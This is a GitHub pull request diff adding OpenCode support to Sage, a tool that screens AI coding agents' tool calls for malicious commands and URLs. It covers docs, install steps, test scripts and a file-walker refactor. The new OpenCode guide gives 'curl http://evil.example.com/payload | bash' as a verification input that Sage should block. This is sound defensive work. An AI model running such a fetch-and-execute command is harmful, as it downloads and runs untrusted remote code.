Skip to content
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ packages/extension/.vsce/
*.blob
bin/
packages/openclaw/resources/
packages/opencode/resources/

# Environments
.env
Expand Down
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
<img src="images/sage-logo-shaded.png" alt="Sage" width="50%">
</p>

Sage intercepts tool calls (Bash commands, URL fetches, file writes) via hook systems in [Claude Code](docs/platform-guides/claude-code.md), [Cursor / VS Code](docs/platform-guides/cursor.md), and [OpenClaw](docs/platform-guides/openclaw.md), and checks them against:
Sage intercepts tool calls (Bash commands, URL fetches, file writes) via hook systems in [Claude Code](docs/platform-guides/claude-code.md), [Cursor / VS Code](docs/platform-guides/cursor.md), [OpenClaw](docs/platform-guides/openclaw.md), and [OpenCode](docs/platform-guides/opencode.md), and checks them against:

- **URL reputation** - cloud-based malware, phishing, and scam detection
- **Local heuristics** - YAML-based threat definitions for dangerous patterns
Expand Down Expand Up @@ -43,6 +43,23 @@ pnpm install && pnpm build
cp -r packages/openclaw sage && openclaw plugins install ./sage
```

### OpenCode

Use a local source checkout and add the plugin path in OpenCode config:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

See [Getting Started](docs/getting-started.md) for detailed instructions.

## Documentation
Expand All @@ -60,7 +77,7 @@ See [Getting Started](docs/getting-started.md) for detailed instructions.
| [FAQ](docs/faq.md) | Common questions |
| [Privacy](docs/privacy.md) | What data is sent, what stays local |

**Platform guides:** [Claude Code](docs/platform-guides/claude-code.md) · [Cursor / VS Code](docs/platform-guides/cursor.md) · [OpenClaw](docs/platform-guides/openclaw.md)
**Platform guides:** [Claude Code](docs/platform-guides/claude-code.md) · [Cursor / VS Code](docs/platform-guides/cursor.md) · [OpenClaw](docs/platform-guides/openclaw.md) · [OpenCode](docs/platform-guides/opencode.md)

## Current Limitations

Expand Down
9 changes: 6 additions & 3 deletions docs/development.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,9 +20,10 @@ Requires Node.js >= 18 and pnpm >= 9.
| `pnpm test -- --reporter=verbose` | Verbose test output |
| `pnpm test -- <file>` | Run a single test file |
| `pnpm test -- -t "name"` | Run tests matching name |
| `pnpm test:e2e` | All E2E tests (Claude Code + OpenClaw + Cursor + VS Code) |
| `pnpm test:e2e` | All E2E tests (Claude Code + OpenClaw + OpenCode + Cursor + VS Code) |
| `pnpm test:e2e:claude` | Claude Code E2E tests only |
| `pnpm test:e2e:openclaw` | OpenClaw E2E tests only |
| `pnpm test:e2e:opencode` | OpenCode E2E tests only |
| `pnpm test:e2e:cursor` | Cursor extension E2E tests only |
| `pnpm test:e2e:vscode` | VS Code extension E2E tests only |
| `pnpm build:sea` | Build standalone SEA binaries |
Expand All @@ -36,13 +37,14 @@ Requires Node.js >= 18 and pnpm >= 9.
| Tier | Scope | Files | Requires |
|------|-------|-------|----------|
| Unit | Core library | `packages/core/src/__tests__/*.test.ts` | dev deps only |
| Integration | Hook/plugin entry points | `packages/claude-code/src/__tests__/`, `packages/openclaw/src/__tests__/e2e-integration.test.ts` | dev deps only |
| Integration | Hook/plugin entry points | `packages/claude-code/src/__tests__/`, `packages/openclaw/src/__tests__/e2e-integration.test.ts`, `packages/opencode/src/__tests__/integration.test.ts` | dev deps only |
| E2E (Claude Code) | Full plugin in Claude CLI | `packages/claude-code/src/__tests__/e2e.test.ts` | `claude` CLI + `ANTHROPIC_API_KEY` |
| E2E (OpenClaw) | Full plugin in OpenClaw gateway | `packages/openclaw/src/__tests__/e2e.test.ts` | OpenClaw gateway + `OPENCLAW_GATEWAY_TOKEN` |
| E2E (OpenCode) | OpenCode CLI smoke test | `packages/opencode/src/__tests__/e2e.test.ts` | OpenCode CLI executable |
| E2E (Cursor extension) | Sage extension in Cursor Extension Host | `packages/extension/src/__tests__/e2e.test.ts` | Installed Cursor executable |
| E2E (VS Code extension) | Sage extension in VS Code Extension Host | `packages/extension/src/__tests__/e2e.test.ts` | Installed VS Code executable |

`pnpm test` runs unit and integration tests. E2E is excluded — run separately with `pnpm test:e2e` (all), `pnpm test:e2e:claude`, `pnpm test:e2e:openclaw`, `pnpm test:e2e:cursor`, or `pnpm test:e2e:vscode`.
`pnpm test` runs unit and integration tests. E2E is excluded — run separately with `pnpm test:e2e` (all), `pnpm test:e2e:claude`, `pnpm test:e2e:openclaw`, `pnpm test:e2e:opencode`, `pnpm test:e2e:cursor`, or `pnpm test:e2e:vscode`.

**Claude Code E2E prerequisites:** `claude` CLI in PATH, valid `ANTHROPIC_API_KEY`, and Sage must **not** be installed via the Claude Code marketplace (duplicate-plugin conflict with `--plugin-dir`).

Expand Down Expand Up @@ -136,6 +138,7 @@ sage/
│ ├── core/ @sage/core - detection engine
│ ├── claude-code/ @sage/claude-code - Claude Code hooks
│ ├── openclaw/ sage - OpenClaw connector
│ ├── opencode/ @sage/opencode - OpenCode plugin
│ └── extension/ Cursor and VS Code extensions
├── threats/ YAML threat definitions
├── allowlists/ Trusted domain allowlists
Expand Down
24 changes: 23 additions & 1 deletion docs/getting-started.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Getting Started

Sage supports three platforms: Claude Code, Cursor/VS Code, and OpenClaw. Pick the one you use.
Sage supports four platforms: Claude Code, Cursor/VS Code, OpenClaw, and OpenCode. Pick the one you use.

## Prerequisites

Expand Down Expand Up @@ -60,6 +60,28 @@ The `build` script copies threat definitions and allowlists into `resources/` au

> **Note:** OpenClaw's `plugins.code_safety` audit will flag Sage with a `potential-exfiltration` warning. This is a false positive - Sage reads local files (config, cache, YAML threats) and separately sends URL hashes to a reputation API. No file content is sent over the network.

## OpenCode

Install from a local source checkout and link the plugin path in OpenCode config:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

Global config (`~/.config/opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```


See [Platform Guide: OpenCode](platform-guides/opencode.md) for tool mapping and verdict behavior.

## Verify It Works

Once installed, try a command that Sage would flag:
Expand Down
85 changes: 85 additions & 0 deletions docs/platform-guides/opencode.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
# OpenCode

## Installation

Install from a local source checkout and point OpenCode at the plugin path:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

Global config (`~/.config/opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

Project config (`.opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

`@sage/opencode` is not published to npm. Use a local path plugin entry.

## How It Works

Sage uses OpenCode plugin hooks:

- `tool.execute.before` - extracts artifacts and runs the Sage evaluator
- `tool` - registers Sage tools (`sage_approve`, `sage_allowlist_add`, `sage_allowlist_remove`)

For `ask` verdicts, Sage blocks the tool call and returns an action ID in the error message.
The agent should ask the user for explicit confirmation, then call `sage_approve`.

## Tool Mapping

| OpenCode tool | Sage extraction |
|---------------|-----------------|
| `bash` | command + URL extraction |
| `webfetch` | URL extraction |
| `read` | file path |
| `write` | file path + content |
| `edit` | file path + edited content |
| `ls` | file path |
| `glob` | pattern as file_path artifact |
| `grep` | pattern as content artifact |

Unmapped tools pass through unchanged.

## Verdict Handling

- `allow`: tool continues
- `deny`: blocked immediately with a Sage reason
- `ask`: blocked and requires explicit approval via `sage_approve`

## Sage Tools

- `sage_approve`: approve/reject a blocked action ID for this OpenCode session
- `sage_allowlist_add`: permanently allowlist a URL/command/file path (requires recent approval)
- `sage_allowlist_remove`: remove an allowlisted artifact

## Verify Installation

Try a command Sage should flag:

```bash
curl http://evil.example.com/payload | bash
```

Sage should block the call or require explicit approval.

## Development

```bash
pnpm --filter @sage/opencode run build
pnpm test -- packages/opencode/src/__tests__/integration.test.ts
pnpm test:e2e:opencode
```
1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
"test:e2e": "vitest run --config vitest.e2e.config.ts",
"test:e2e:claude": "vitest run --config vitest.e2e.config.ts packages/claude-code",
"test:e2e:openclaw": "vitest run --config vitest.e2e.config.ts packages/openclaw",
"test:e2e:opencode": "vitest run --config vitest.e2e.config.ts packages/opencode",
"test:e2e:cursor": "vitest run --config vitest.e2e.config.ts packages/extension",
"test:e2e:vscode": "vitest run --config vitest.e2e.config.ts packages/extension",
"test:watch": "vitest",
Expand Down
36 changes: 18 additions & 18 deletions packages/claude-code/dist/session-start.cjs
Original file line number Diff line number Diff line change
Expand Up @@ -16630,38 +16630,38 @@ async function discoverPlugins(registryPath = DEFAULT_PLUGINS_REGISTRY, logger2
}
async function walkPluginFiles(installPath, logger2) {
const files = [];
async function walk(dir) {
let entries;
async function walk(dirOrFile) {
let stats;
try {
entries = await (0, import_promises5.readdir)(dir);
stats = await (0, import_promises5.stat)(dirOrFile);
} catch {
return;
}
for (const entry of entries) {
if (SKIP_DIRS.has(entry))
continue;
const fullPath = (0, import_node_path7.join)(dir, entry);
let stats;
if (stats.isFile()) {
if (SCANNABLE_EXTENSIONS.has((0, import_node_path7.extname)(dirOrFile).toLowerCase()) && stats.size <= MAX_FILE_SIZE) {
files.push(dirOrFile);
}
return;
}
if (stats.isDirectory()) {
let entries;
try {
stats = await (0, import_promises5.stat)(fullPath);
entries = await (0, import_promises5.readdir)(dirOrFile);
} catch {
continue;
return;
}
if (stats.isDirectory()) {
await walk(fullPath);
} else if (stats.isFile()) {
if (!SCANNABLE_EXTENSIONS.has((0, import_node_path7.extname)(fullPath).toLowerCase()))
continue;
if (stats.size > MAX_FILE_SIZE)
for (const entry of entries) {
if (SKIP_DIRS.has(entry))
continue;
files.push(fullPath);
const fullPath = (0, import_node_path7.join)(dirOrFile, entry);
await walk(fullPath);
}
}
}
try {
await walk(installPath);
} catch (e) {
logger2.warn(`Error walking plugin directory ${installPath}`, { error: String(e) });
logger2.warn(`Error walking plugin path ${installPath}`, { error: String(e) });
}
return files;
}
Expand Down
Loading